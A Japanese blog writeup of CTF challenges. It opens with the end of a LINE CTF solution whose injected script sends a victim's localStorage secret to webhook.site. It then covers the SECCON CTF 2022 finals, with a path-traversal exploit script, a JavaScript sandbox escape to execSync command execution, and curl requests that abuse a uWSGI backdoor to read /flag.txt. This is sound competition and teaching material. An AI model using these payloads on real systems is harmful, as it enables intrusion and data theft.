$q = $_SERVER['QUERY_STRING'];
preg_match('/nonce=([0-9a-f]+)/', $q, $matches);
file_put_contents('nonce.txt', $matches[1]);
echo $matches[1];

inject-script.php:

<form action="https://35.200.57.143:11004/profile" method="POST" id="form">
    <input type=text id=name name=name>
    <input type=text id=_csrf name=csrf>
    <input type=submit>
</form>
<script>
Object.defineProperty(document, 'domain', {get: () => "35.200.57.143"});
</script>
<script src="https://35.200.57.143:11004/getSettings.js"></script>
<script>
const name = document.getElementById('name');
name.value = `<base href="/hoge/"><script nonce=<?= file_get_contents('nonce.txt') ?>>location.href="https://webhook.site/(略)?"+localStorage.secret\x3c/script>`;
const form = document.getElementById('form');
form.submit();
</script>

exp.html を通報すると、次のようにフラグが飛んできた。

LINECTF{72fdb8db303404e8388062c7233f248e}

SECCON CTF 2022国内決勝大会の参加記(writeup)

2/11 - 2/12という日程で、2019年度の大会ぶりにオンサイト形式@浅草橋で開催された。keymoonさんとふたりチーム _(-.- _) )_ で参加し、優勝した🏅 やったー!

2015年度(国内)、2017年度(国内と国際の両方)、2018年度(国内)、2019年度(国内)とこれまでSECCON CTFの決勝大会に4回参加してきたが、私が参加していたチームでは2017年度の5位が最高成績だったので嬉しい。同じくkeymoonさんと参加した前回に引き続いて国内1位だった*1ことも嬉しいし、久しぶりのオンサイトでの決勝大会ということで、色々な方とお話しできたのもよかった。もちろん、問題の質も高くその点でも楽しめた。

リンク:

1st!
フラグに這い寄る我々

大会やチームについて

競技形式

JeopardyとKing of the Hill(KoH)を並行して進めるような形式だった。Jeopardyはいつものやつという感じで、Web, Pwn, Reversing, Cryptoといった基本的なジャンルに加えて、決勝大会ならではといえるHardware(?)問も出題されていた。問題は場所と時間の制約があるHardwareを除いて1日目にすべてが公開され、競技途中で追加されることはなかった。問題数は次のような感じ(カッコ中は各問題の配点):

  • Web: 5 (100, 200, 300, 300, 500)
  • Pwn: 4 (200, 250, 300, 500)
  • Reversing: 3 (100, 250, 300)
  • Crypto: 3 (200, 300, 400)
  • Misc(Hardware): 2 (100, 200)

会場から競技に参加できるのは各日それぞれで7時間ほどに限られており、スコアサーバや問題サーバを含めた競技ネットワークにもその時間中しか接続できなかった。Jeopardyも例外ではなく、時間外は問題サーバやスコアサーバにはアクセスできない。ただし、Jeopardyでは問題文と添付ファイルだけで解ける(もしくは、あとは問題サーバにexploitをぶちかますだけというところまで進められる)ような作りになっている問題ばかりで、それらがあれば宿題として自宅やホテルに帰ってから取り組めるようになっていた。スコアサーバに接続できるうちに問題文と添付ファイルの回収をしておかないとそれもできないわけだけれども。

スコアリングはStatic Scoringが採用されており、解いたチームの数によってその問題で得られるポイントが変わっていくということはなかった。最初に解いた(first blood)チームにボーナスポイントが与えられるということもないので、フラグを溜め込んでおいて終盤で一気に通すという、Flag Hoardingとかサブマリン戦法とか呼ばれている闇の戦略を採ることもほぼデメリットなし*2にできる。

KoHは各チームの取り組み次第で得られる点数が変わってくるような、ルール中の言葉を借りると "the better the solution, the more points you will receive" に表される形式だった。解けるか解けないかの1ビットでなく、たとえばコードゴルフ*3でのコードの短さのように評価にグラデーションがあるようなお題が与えられる。その評価に基づいて、よりよい解法のチームほど多くの点数が得られるというものだった。

各問題には5分で1単位の「ラウンド」があり、ラウンドごとに各チームに与えられる点数の計算と付与が行われる。上述の競技ネットワークに接続できる7時間がKoHの問題に取り組める時間で、スコアの加算もその時間中にのみ行われる。

2019年度大会までの形式でいうAttack Pointsは、今回はJeopardyがあるので存在しない。また、どこか1チームだけがDefense Keywordを書き込め、したがってそのチームだけが得点できるような勝者総取りの問題も、今回はなかった。

Jeopardyよりは他チームの動向に意識を向ける必要があるものの、Attack & Defense(A&D)ほどチーム同士で殴り合っているわけでもないという塩梅だった。1日目と2日目で完全に問題が分かれており、それぞれ1問と2問が出題されていた。

チーム名

個人では以前から _(:3」∠)_ やら( 'ᾥ' )やら顔文字や絵文字のチーム名で参加している。スコアボードに出てくるとちょっとインパクトがあるし、かわいいチーム名だと微妙にテンションが上がるからというのが、こういったチーム名にする理由。チーム名の選び方は適当で、Windows 10以降で使えるようになった Windows + . のショートカットで出てくる顔文字・絵文字入力からかわいいやつを選んだり、「顔文字」で検索して出てきたものを使ったりしている。

前回大会でもkeymoonさんと参加していたが、このときは (o^_^o) というチーム名だった。前回も今回もスコアボードで使えるチーム名にASCII範囲外の文字が使えないという制約があったため、頑張ってその範囲内でなんとかしている。前回のチーム名もそこそこよいのだけれども、今回はもうちょっとかわいいものを使いたいなあと思い、_(:3」∠)_ をベースにそれっぽくした。また、「這ってでも旗を取りに行く気概」という意味を込めている。というのはkeymoonさんの予選でのwriteupを読んでの後付け。

SECCONのWebサイトではフォントの都合でややシュッとしている

やっていたこと

1日目はKoH(独自のプログラミング言語コンパイラを修正したり、攻撃したりする問題だったそう)はkeymoonさんにおまかせして、私は夜も含めてずっとJeopardyの問題に取り組んでいた。始まって3時間ぐらいでWebのeasylfi2(こちらは国際決勝大会も含めfirst bloodだったそう), babyboxを通してブチ上がったのはいいものの、それ以降はまったく解けなかった。

会場から自宅に帰った後は、今書いたようにJeopardyの問題の続き(特にWebのlight-noteとMaaS)を遊んでいた。あとはRevのWhiskyが数solves出ていて簡単だという話をkeymoonさんから聞いたので、それを解いたりしていた。2日目にKoHが新たに2問出題されることがわかっていたので、頭が働かない状態で挑むのはまずいと思い、Jeopardyを解くのは途中で諦めて寝る。睡眠時間は3時間ぐらいだったはず。

2日目のKoHはHeptarchyとWitchQuizの2つだった。ちょうどよいので1人1問、それぞれが得意な方を取り組もうという話になっていた。WitchQuizはCrypto問らしいと聞いたので私には無理だと思い、そちらは完全にkeymoonさんにおまかせしつつ、私はReversing問のHeptarchyに取り組むことになった。

詳細は後述するけれども、Heptarchyは1時間ごとに異なる問題に取り組むような形式だったので、競技時間中はかかりきりになっていた。Jeopardyの続きを遊ぶ余裕はなく、そのまま終了。

感想とか

ふたりでもまあ大丈夫だろう*4という気持ちと、大丈夫かなあという気持ちの両方がありつつ競技に臨んだ。結果的に優勝できたが、リソースの厳しさを感じることが多かった。たとえば、1日目ではkeymoonさんが、2日目に至ってはふたりともが日中はほぼずっとKoHに拘束されているという状況だった。

JeopardyとKoHの点数のバランスについて。各チームの点数の内訳を見るとわかるように、国内決勝大会ではどのチームもあまりJeopardyが解けていなかったためかは知らないけれども、JeopardyよりもKoHで得られる点数の方が大きくなる傾向にあった。そういうわけで、KoHに注力した(せざるを得なかった)のが効いたような気がする。

JeopardyのWeb問は予選大会に引き続いてArkさんが作問されていたが、相変わらず面白く、そして大変難しかった。全部で5問が用意されていたものの、_(-.- _) )_ はそのうちの2問しか解けなかった。もっとも、国際決勝大会も含めて5問中の2問はどのチームにも解かれなかったそう。公式writeupを楽しみにしている。

これなんと読むんですかと運営に聞かれたり*5、そのページがMarkdownで書かれていたのか、ルールページでチーム名のアンダースコアで囲まれている部分が斜体として表示されていたり、色々迷惑をかけていた。記号だらけでまともに検索もできないので、今後は違う方向性での命名を検討したい。

ほか、やってよかったこと・持ってきてよかったもの:

  • 睡眠: 前日によく寝て、1日目も短いけれど寝たおかげで、競技中はずっと集中できていた
  • 這ってでも旗を取りに行く気概: KoHではどれだけ雑な解法でもよいので試し、1点でも多く獲得していきたいと思っていたのだけれども、Heptarchyではどれだけダメなコードでも投げることで結構な得点ができた。ただ、得点への貪欲さはまだ足りていなかったようにも思う
  • LANアダプターとLANケーブル: そもそも競技ネットワークには有線でしか接続できないというアナウンスが事前にあった
  • カントリーマアムなどのお菓子: おいしかった
  • (ToDo: なんか思いついたら追記する)

やっておけばよかったこと・ほしかったもの:

  • LANケーブル作りの修行: 事前にそういう問題が出ることを予測できていたならエスパーだ
  • モバイルモニター: CTFを遊ぶには1画面では足りない

Jeopardy

[web 200] easylfi2 (8 solves)

easylfi again! I know you fully understand everything about curl.

(問題URL)

添付ファイル: easylfi2.tar.gz

ソースコードが与えられている。大変シンプルで、以下のようにフレームワークKoaを使ってWebアプリケーションを作っている。アクセスが来れば、リクエストされたパスをもとに curl file://app/public/(リクエストされたファイル) というような感じのOSコマンドで curl を使ってその内容を取得し返す。

問題文でも言及されているし、問題名でも2って言われているけれども、SECCON CTF 2022 Qualsで出たeasylfiとよく似た機能を持っている。ただし、easylfiではPythonが使われていたのに対して、今回はJavaScriptが使われている。言語やフレームワークの違いが解法に関わってきそう。

const app = new (require("koa"))();
const execFile = require("util").promisify(require("child_process").execFile);

const PORT = process.env.PORT ?? "3000";

// WAF
app.use(async (ctx, next) => {
  await next();
  if (JSON.stringify(ctx.body).match(/SECCON{\w+}/)) {
    ctx.body = "🤔";
  }
});

app.use(async (ctx) => {
  const path = decodeURI(ctx.path.slice(1)) || "index.html";
  try {
    const proc = await execFile(
      "curl",
      [`file://${process.cwd()}/public/${path}`],
      { timeout: 1000 }
    );
    ctx.type = "text/html; charset=utf-8";
    ctx.body = proc.stdout;
  } catch (err) {
    ctx.body = err;
  }
});

app.listen(PORT);

Dockerfile はこんな感じ。/flag.txt にフラグがあるらしい。

FROM node:19.6.0-slim
ENV NODE_ENV=production
WORKDIR /app

RUN apt update && apt install -y curl

COPY ["package.json", "package-lock.json", "./"]
RUN npm install --omit=dev
COPY . .
RUN mv flag.txt /flag.txt

USER 404:404

CMD ["node", "index.js"]

ほかのeasylfiとの違いを見ていく。まずはこの「WAF」を自称している機能だけれども、easylfiでは SECCON という文字列が含まれているだけでレスポンスボディが Try harder に書き換えられるようになっていたが、今回は SECCON{\w+} とフラグフォーマットに一致する文字列が含まれているか、もうちょっとちゃんとチェックするようになっている。

ほかのWAF的な機能でいうと、easylfiでは ..% といった文字列がリクエストされたパスに含まれているだけで、パストラバーサルを試行しているとバレてそこで処理が中断されるようになっていたのだが、今回はそれがない。

// WAF
app.use(async (ctx, next) => {
  await next();
  if (JSON.stringify(ctx.body).match(/SECCON{\w+}/)) {
    ctx.body = "🤔";
  }
});

まずはパストラバーサルができるかチェックする。できた。もちろん、/flag.txt を取得しようとすると怒られる。

$ curl -g --path-as-is 'http://localhost:3000/../../etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash
$ curl -g --path-as-is 'http://localhost:3000/../../flag.txt'
🤔

どうやってこのフィルターをバイパスするかという話だけれども、コードを眺めていて JSON.stringify(ctx.body).match(/SECCON{\w+}/) とわざわざ JSON.stringify したものをチェックしているのが気になった。どうしてわざわざこんなことをしているのだろう。WAF部分に typeof ctx.body だったり ctx.body.constructor だったりを出力するコードを追記しても、通常のリクエストでは string しか出力されない。

色々試していると、デカいファイルをダウンロードするとどうなるのだろうと思って /usr/bin/perl を取得しようとした際に、妙な挙動を示した。なんかエラーが起きてJSONが返ってきてない? 確認してみると、stdout で返ってきているのは /usr/bin/perl なのだけれども、途中で切れていた。エラーのコードを探すと、どうやらこれは stdoutLen > options.maxBuffer である場合に吐き出されるっぽい。Node.jsのドキュメントによると、options.maxBuffer はデフォルトでは 1024 * 1024 だそう。これだ!

$ curl -g --path-as-is 'http://localhost:3000/../../usr/bin/perl'
{"code":"ERR_CHILD_PROCESS_STDIO_MAXBUFFER","cmd":"curl file:///app/public/../../usr/bin/perl","stdout":"…","stderr":"  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current\n                                 Dload  Upload   Total   Spent    Left  Speed\n\r  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0"}

easylfiでも使った要素だが、https://example.com/{a,b,c} のようにブレースを使うことで curl に複数のファイルへアクセスさせることができる。各ファイルのサイズを確認しつつ {/usr/bin/tput,/etc/passwd,…,/flag.txt,…} のような感じで複数のファイルにアクセスさせることで stdout に流れる文字数を調整し、{"code":"ERR_CHILD_PROCESS_STDIO_MAXBUFFER","cmd":"curl file:///app/public/../../…","stdout":"…SECCON{DUMMY","stderr":"…"} のように SECCON{\w+} のフォーマットに当てはまらない(途中で切れる)形でフラグを出力させるのはどうか。

小さいものから大きいものまでたくさんのファイルがある /etc//usr/bin/ls -l し、どんなサイズのファイルがあるか眺める。手作業でバイト数を調整し、できあがったのが以下の組み合わせ。///flag.txt のようにスラッシュの数で微妙な調整をしている。

import requests

def query(f):
    url = 'http://easylfi2.dom.seccon.games:3000/../../{{{}}}'
    url = url.format(','.join(f))
    
    r = requests.get(url.replace('../', '%2E%2E%2F'))
    print(r.text[-10000:])
    if '🤔' not in r.text and 'SECCON' in r.text:
        return True, len(r.text)
    else:
        return False, len(r.text)

print(query([
    '/usr/bin/who'
] * 11 + [
    '/usr/bin/tput', '/usr/bin/bashbug', '/usr/bin/debconf', '/usr/bin/debconf',
    '/etc/bindresvport.blacklist', '/etc/bindresvport.blacklist', '/etc/bindresvport.blacklist',
    '/etc/issue.net', '../' * 2 + '///flag.txt',
    'flag.txt', '/etc/debian_version', '/etc/passwd'
]))

実行すると、フラグが得られた。

$ python3 s.py
…\n--_curl_--file:///app/public/..%2F..%2F/etc/issue.net\nDebian GNU/Linux 11\n--_curl_--file:///app/public/..%2F..%2F..%2F..%2F///flag.txt\nSECCON{Wha7_files_did_you_use_to_s0lve_1t","stderr":"…"}
(True, 2326746)
SECCON{Wha7_files_did_you_use_to_s0lve_1t}

開始直後はbabyboxを見ていたのだけれども、なかなか進捗が出なかったので30分ぐらい経ってからこちらを見始めた。そこから1時間ぐらいで解けた。first bloodを取れて嬉しい。

[web 100] babybox (4 solves)

Can you hack this sandbox?

(問題サーバのURL)

添付ファイル: babybox.tar.gz

JavaScriptサンドボックス問っぽい。ソースコードが与えられている。まず index.js は次の通り。expr というパラメータを受け付けて、それを calc.js に丸投げしている。

const fastify = require("fastify")();
const fs = require("node:fs").promises;
const execFile = require("util").promisify(require("child_process").execFile);

const PORT = process.env.PORT ?? "3000";

fastify.get("/", async (req, reply) => {
  const html = await fs.readFile("index.html");
  return reply.type("text/html; charset=utf-8").send(html);
});

fastify.post("/calc", async (req, reply) => {
  const { expr } = req.body;
  try {
    const result = await execFile("node", ["./calc.js", expr.toString()], {
      timeout: 1000,
    });
    return result.stdout;
  } catch (err) {
    return reply.code(500).send(err.killed ? "Timeout" : err);
  }
});

fastify.listen({ port: PORT, host: "0.0.0.0" });

calc.js は次の通り。こちらも大変シンプルで、expr-eval というパッケージを使って計算式を評価している様子。

const { Parser } = require("expr-eval");

const expr = process.argv[2].trim();
console.log(new Parser().evaluate(expr));

expr-eval のドキュメントに文法がまとめられている。関数呼び出しやプロパティへのアクセスができるようになっているのは嬉しい。a[i] のようにブラケットを使う文法は、JSとは異なって配列にしか使えない(正確に言うと、添字が数値に変換されてしまう)ので、動的に生成したプロパティ名を使ってプロパティにアクセスするのが難しそうだったり、機能が少なかったりでちょっとつらそう。当たり前だけど、thiseval などの変数にはアクセスできない。

$ node calc.js "this"
/app/node_modules/expr-eval/dist/bundle.js:208
            throw new Error('undefined variable: ' + item.value);
            ^

Error: undefined variable: this
…
$ node calc.js "eval"
/app/node_modules/expr-eval/dist/bundle.js:208
            throw new Error('undefined variable: ' + item.value);
            ^

Error: undefined variable: eval
…

Dockerfile を見ると、フラグの書かれているファイル名が推測不能であることがわかる。RCEに持ち込む必要がある。

FROM node:19.6.0-slim
ENV NODE_ENV=production
WORKDIR /app

COPY ["package.json", "package-lock.json", "./"]
RUN npm install --omit=dev
COPY . .
RUN mv flag.txt /flag-$(md5sum flag.txt | cut -c-32).txt

USER 404:404

CMD ["node", "index.js"]

こういうJSのサンドボックス問でまず試すのは、constructor, prototype, __proto__ といった特殊なプロパティへのアクセスだ。Function にアクセスできれば new Function('return process')() のように任意のJSコードの実行に持ち込めるかもしれないし、Object.prototype などにアクセスできればPrototype Pollutionに持ち込めるかもしれない。

constructor を試すと妙な挙動をした。constructor だけだと Object を返したが、a.constructor のようにプロパティ名として constructor を使った場合にはエラーを吐いた。謎。

前者はたぶん expr-evalevaluate.js の処理がその原因。expr.functions というビルトインの関数がまとめられているオブジェクトがあって、変数へのアクセスではまず expr.functions[item.value] (item.value は変数名)が存在しているかチェックされている。item.value in expr.functions は当然真だし、expr.functions.constructorObject になる。

$ node calc.js "constructor"
[Function: Object]
$ node calc.js "a=123;a.constructor"
/app/node_modules/expr-eval/dist/bundle.js:1049
      throw new Error('parse error [' + coords.line + ':' + coords.column + ']: Expected ' + (value || type));
      ^

Error: parse error [1:20]: Expected TNAME
    at ParserState.expect (/app/node_modules/expr-eval/dist/bundle.js:1049:13)
    at ParserState.parseMemberExpression (/app/node_modules/expr-eval/dist/bundle.js:1314:14)
    at ParserState.parseFunctionCall (/app/node_modules/expr-eval/dist/bundle.js:1277:12)
    at ParserState.parsePostfixExpression (/app/node_modules/expr-eval/dist/bundle.js:1260:10)
    at ParserState.parseExponential (/app/node_modules/expr-eval/dist/bundle.js:1252:10)
    at ParserState.parseFactor (/app/node_modules/expr-eval/dist/bundle.js:1247:12)
    at ParserState.parseTerm (/app/node_modules/expr-eval/dist/bundle.js:1215:10)
    at ParserState.parseAddSub (/app/node_modules/expr-eval/dist/bundle.js:1204:10)
    at ParserState.parseComparison (/app/node_modules/expr-eval/dist/bundle.js:1193:10)
    at ParserState.parseAndExpression (/app/node_modules/expr-eval/dist/bundle.js:1181:10)

Node.js v19.6.0

Object にアクセスできるというのは使えそう。Object には Object.keys, Object.getOwnPropertyDescriptors, Object.defineProperty など、オブジェクトを操作するのに使えるメソッドがいっぱい生えている。これで Function を手に入れられないか。

expr-eval では a() = 7*7 のような記法で関数を定義できる。Object.getPrototypeOf で定義した関数の [[Prototype]] (つまり、Function.prototype)を取得し、さらに Object.getOwnPropertyDescriptors でプロパティ記述子を列挙する。constructorFunction が入っていた。

$ node calc.js "Object = constructor; a() = 7*7; d = Object.getOwnPropertyDescriptors(Object.getPrototypeOf(a)); e = Object.entries(d); e[4]"
[
  'constructor',
  {
    value: [Function: Function],
    writable: true,
    enumerable: false,
    configurable: true
  }
]

CommonJS方式でモジュールをインポートしているので process.mainModule にアクセスできる。ES Modulesだったとしても process.binding('spawn_sync').spawn があるけど。そこから require にアクセスし、OSコマンドの実行に持ち込める。

$ node calc.js "Object = constructor; a() = 7*7; d = Object.getOwnPropertyDescriptors(Object.getPrototypeOf(a)); e = Object.entries(d); f = e[4][1].value; f('return process.mainModule.require(\"child_process\").execSync(\"id\").toString()')()"
uid=404 gid=404 groups=404

実行するOSコマンドを cat /flag* に変えて問題サーバに投げると、フラグが得られた。

SECCON{pr0totyp3_po11ution_iS_my_friend}

babyと名前についている問題は8割がbabyではないという説を補強する問題だった。

[reversing 100] whisky (7 solves)

Do you like whisky?
Read /flag.txt to get the flag!

(問題サーバのURL)

添付ファイル: backdoor_plugin.so

Webサーバにバックドアが仕掛けられているので、それを使って /flag.txt を読めという問題っぽい。で、そのバックドアを仕掛けるプラグインbackdoor_plugin.so なのだろう。

IDA Freewareで開いて適当に関数を見ていくと、uwsgi_backdoor_request という関数が気になった。HTTPリクエスト中に含まれるヘッダの値にもとづいてバックドアが動き、何かしらの処理をしてくれるらしい。

じゃあその条件とは何かというところだけれども、まず uwsgi_get_var(a1, "HTTP_BACKDOOR", 13LL, &v8)Backdoor ヘッダを取ってきているのはわかる。uwsgi_strnicmp(var, v8, "enabled", 7LL) でその値が enabled かどうかをチェックしているのもわかる。でも、バックドアが発火する条件として参照されている *(_WORD *)(a1 + 472) == 16 は何なのだろう。

__int64 __fastcall uwsgi_backdoor_request(__int64 a1)
{
  unsigned int v2; // r13d
  __int64 var; // r12
  __int64 v5; // rdi
  void *v6; // r14
  void *v7; // r12
  unsigned __int16 v8; // [rsp+6h] [rbp-32h] BYREF
  unsigned __int64 v9; // [rsp+8h] [rbp-30h]

  v9 = __readfsqword(0x28u);
  if ( (unsigned int)uwsgi_parse_vars() )
  {
    v2 = -1;
  }
  else
  {
    v2 = 0;
    v8 = 0;
    var = uwsgi_get_var(a1, "HTTP_BACKDOOR", 13LL, &v8);
    uwsgi_response_prepare_headers(a1, "200 OK", 6LL);
    uwsgi_response_add_header(a1, "Content-type", 12LL, "text/html", 9LL);
    if ( !(unsigned int)uwsgi_strnicmp(var, v8, "enabled", 7LL) && *(_WORD *)(a1 + 472) == 16 )
    {
      v5 = *(_QWORD *)(a1 + 192);
      if ( v5 )
      {
        v6 = (void *)uwsgi_strncopy(v5, *(unsigned __int16 *)(a1 + 200));
        v7 = (void *)uwsgi_strncopy(*(_QWORD *)(a1 + 464), *(unsigned __int16 *)(a1 + 472));
        backdoor();
        free(v6);
        free(v7);
      }
    }
    uwsgi_response_write_body_do(
      a1,
      "<img src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/a/a2/Whiskyhogmanay2010.jpg/800px-Whiskyhogmanay2010.jpg\">\n",
      122LL);
  }
  if ( v9 == __readfsqword(0x28u) )
    return v2;
  else
    return term_proc();
}

a1uwsgi_get_var, uwsgi_response_prepare_headers, uwsgi_response_add_header という関数に第1引数として渡されている。これらの関数名でググるuWSGIのドキュメントが出てきた。uwsgi.h を見るに、wsgi_request という構造体らしい。

オフセットとメンバ名の対応付けをどうしようかなあと思ったが、gdbuwsgi_backdoor_requestブレークポイントを置いて、これらのオフセットにある値を見つつ、色々なヘッダを投げてみればよいのではないかと思いつく。

次のように、wsgi_request に含まれるヘッダなどは、基本的にまず文字列そのものが入っている char * があり、その次に長さを示す uint16_t のメンバが出現するという構造になっている様子。a1+192a1+464 はヘッダかなにか、a1+200a1+472 がそれらの長さだろう。

char *referer;
    uint16_t referer_len;

    char *cookie;
    uint16_t cookie_len;
…

そのために、まず次のようなパラメータを持つ uwsgi.ini で適当にアプリケーションを作る。

plugins-dir = /var/www/plugins
plugin = backdoor

*(_WORD *)(a1 + 472) == 16 と比較している箇所にブレークポイントを置く。

$ ps aux
USER     PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
user       1  0.0  0.0  15468  6212 ?        Ss   06:59   0:00 uwsgi --ini /var/www/uwsgi.ini
user       7  0.0  0.0  40056  2600 ?        Sl   06:59   0:00 uwsgi --ini /var/www/uwsgi.ini
user       8  0.0  0.0  40056  2600 ?        Sl   06:59   0:00 uwsgi --ini /var/www/uwsgi.ini
user       13  0.0  0.0  40056  2600 ?        Sl   06:59   0:00 uwsgi --ini /var/www/uwsgi.ini
user       19  0.0  0.0 171128  2600 ?        Sl   06:59   0:00 uwsgi --ini /var/www/uwsgi.ini
user       23  0.1  0.0   4244  3388 pts/0    Ss   07:10   0:00 bash
user       37  0.0  0.0   5896  2812 pts/0    R+   07:10   0:00 ps aux
$ gdb -p 19
…
(gdb) b *(uwsgi_backdoor_request + 0xe0)
Breakpoint 1 at 0x7f1876eaf6f0
(gdb) c

curl http://localhost:33333/hoge -H "Backdoor: enabled" -H "Authorization: fugaa" -H "Referer: piyo" -A "user-agent" のような感じでHTTPリクエストを送ると、設定したブレークポイントに引っかかる。a1+192 はリクエストされたパス、a1+464Authorization ヘッダらしいとわかった。

Thread 3 "uwsgi" hit Breakpoint 1, 0x00007f1876eaf6f0 in uwsgi_backdoor_request () from /var/www/plugins/backdoor_plugin.so
(gdb) x/gd $rbp+472
0x7f1876e05250: 5
(gdb) x/s *(char **)($rbp+464)
0x7f1876dff1a9: "fugaa"
(gdb) x/gd $rbp+200
0x7f1876e05140: 5
(gdb) x/s *(char **)($rbp+192)
0x7f1876dff05a: "/hoge\t"

これらの文字列を引数に backdoor が呼び出されている。真面目に読まずとも、リクエストされたパスを絶対パスとして解釈してファイルを読み、Authorization ヘッダの値を鍵として、それをAES-128-ECBで暗号化しているのだろうなあと推測できる。そして、暗号化されたファイルの内容は Backdoor というレスポンスヘッダで返される。

__int64 __fastcall backdoor(__int64 a1, FILE *path, __int64 key)
{
  __int64 v3; // rbp
  FILE *v6; // rdi
  FILE *v7; // rax
  unsigned int v8; // ebx
  __int64 v9; // rbp
  __int64 v10; // rax
  __int64 result; // rax
  int v12; // r8d
  __int64 v13; // r13
  char *i; // r14
  __int64 v15; // r8
  char *v16; // rdi
  int v17; // [rsp+10h] [rbp-450h] BYREF
  int v18; // [rsp+14h] [rbp-44Ch] BYREF
  __int128 ptr[16]; // [rsp+18h] [rbp-448h] BYREF
  __int128 v20[16]; // [rsp+118h] [rbp-348h] BYREF
  char v21[520]; // [rsp+218h] [rbp-248h] BYREF
  unsigned __int64 v22; // [rsp+420h] [rbp-40h]
  __int64 v23; // [rsp+438h] [rbp-28h]

  v6 = path;
  v23 = v3;
  v22 = __readfsqword(0x28u);
  memset(ptr, 0, sizeof(ptr));
  memset(v20, 0, sizeof(v20));
  v18 = 0;
  v7 = fopen64((const char *)path, "r");
  if ( v7 )
  {
    v6 = v7;
    v8 = fread(ptr, 1uLL, 0xFFuLL, v7);
    fclose(v6);
    v9 = EVP_CIPHER_CTX_new();
    if ( v9 )
    {
      v10 = EVP_aes_128_ecb();
      if ( (unsigned int)EVP_EncryptInit_ex(v9, v10, 0LL, key, 0LL)
        && (unsigned int)EVP_EncryptUpdate(v9, v20, &v17, ptr, v8)
        && (unsigned int)EVP_EncryptFinal_ex(v9, (char *)v20 + v17, &v18) )
      {
        v12 = v17 + v18;
        v13 = 0LL;
        v17 = v12;
        for ( i = v21; v17 > (int)v13; LOWORD(v12) = v17 )
        {
          v15 = *((unsigned __int8 *)v20 + v13);
          v16 = i;
          ++v13;
          i += 2;
          __sprintf_chk(v16, 1LL, -1LL, "%02x", v15);
        }
        uwsgi_response_add_header(a1, "Backdoor", 8LL, v21, (unsigned __int16)(2 * v12));
      }
      v6 = (FILE *)v9;
      EVP_CIPHER_CTX_free(v9);
    }
  }
  result = v22 - __readfsqword(0x28u);
  if ( result )
    return uwsgi_backdoor_request((__int64)v6);
  return result;
}

試しに、ローカルで /flag.txt の内容を AAAABBBBCCCCDDDD という鍵で暗号化したものを返してもらう。

$ curl -i http://localhost:33333/flag.txt -H "Backdoor: enabled" -H "Authorization: AAAABBBBCCCCDDDD"
HTTP/1.1 200 OK
Server: nginx/1.23.3
Date: Mon, 13 Feb 2023 22:35:19 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Backdoor: 720b79fdb7aae50ad957a50165e04d8a

<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/a/a2/Whiskyhogmanay2010.jpg/800px-Whiskyhogmanay2010.jpg">

CyberChefに投げて復号してやると、たしかにダミーのフラグが得られていることがわかる。

今度は問題サーバに対して試す。

$ curl -i "http://whisky.dom.seccon.games:8080/flag.txt" -H "Backdoor: enabled" -H "Authorization: AAAABBBBCCCCDDDD"
HTTP/1.1 200 OK
Content-type: text/html
Backdoor: 16cd308feb96473b59ea70e07804341169405574d46d60997eb7853731427bc67531aebcfcc49560a4305b0de0018f8d433e8070e2fa6006aca7791eadbada8a

<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/a/a2/Whiskyhogmanay2010.jpg/800px-Whiskyhogmanay2010.jpg">

フラグが得られた。

SECCON{Which_do_you_prefer:Whisky_Beer_Wine_Sake}

easylfi2より正答チーム数が少ないことに納得がいっていない。

King of the Hill

2日目: Heptarchy

(問題サーバのURL)

添付ファイル: heptarchy-distfiles.tar.gz

1時間ごとにバイナリが提供されるので、それをひたすらリバースエンジニアリングしろという問題だった。どのバイナリも元のソースコードは異なるプログラミング言語で書かれているようで、この問題に取り組める7時間中に以下の7つプログラミング言語製のバイナリが配布された。

  • C
  • C++
  • Rust
  • Go
  • D
  • Python
  • WebAssembly
    • これだけ元の言語がWebAssemblyというよりはターゲットがWebAssemblyという感じだった。元の言語はC

バイナリにフラグが含まれているというわけではない。各チームの得点は、各チームが提出した(デコンパイルの結果できあがった)ソースコードを、提供されたバイナリと同じ環境でコンパイルした結果出力されたバイナリとの比較によって決まる。差分が少なかったチームほど得点が多く、逆に差分が多かったチームほど少なくなる。したがって、リバースエンジニアリングして挙動を把握するだけでは不十分で、どのようなソースコードを書けばそのようなバイナリが出力されるかまで考えなければならない。

このあたりのルールに加えて、どのような環境(コンパイラのバージョンとか、渡されるオプションとか)でソースコードコンパイルされるかということがわかるスクリプトDockerfile は、問題がオープンした時点ですべての言語のものが提供された。他チームと競い合うのが無理だと思った言語はほどほどに切り上げて、以降の言語に向けて準備をしておくこともできた。

この問題で重要な点は、ルールにも書かれていたが、ソースコードの提出すらしないチームはまったく得点できないということ。裏を返せば、提供されたバイナリとは似ても似つかないバイナリが出力されるものであっても、ソースコードさえ提出すれば最低限のポイントは得られるということだ。もちろんコンパイル可能である必要があるし、詳しくは後述するが、差分が大きすぎて差分計算に時間がかかる場合でも得点できないルールではあった。

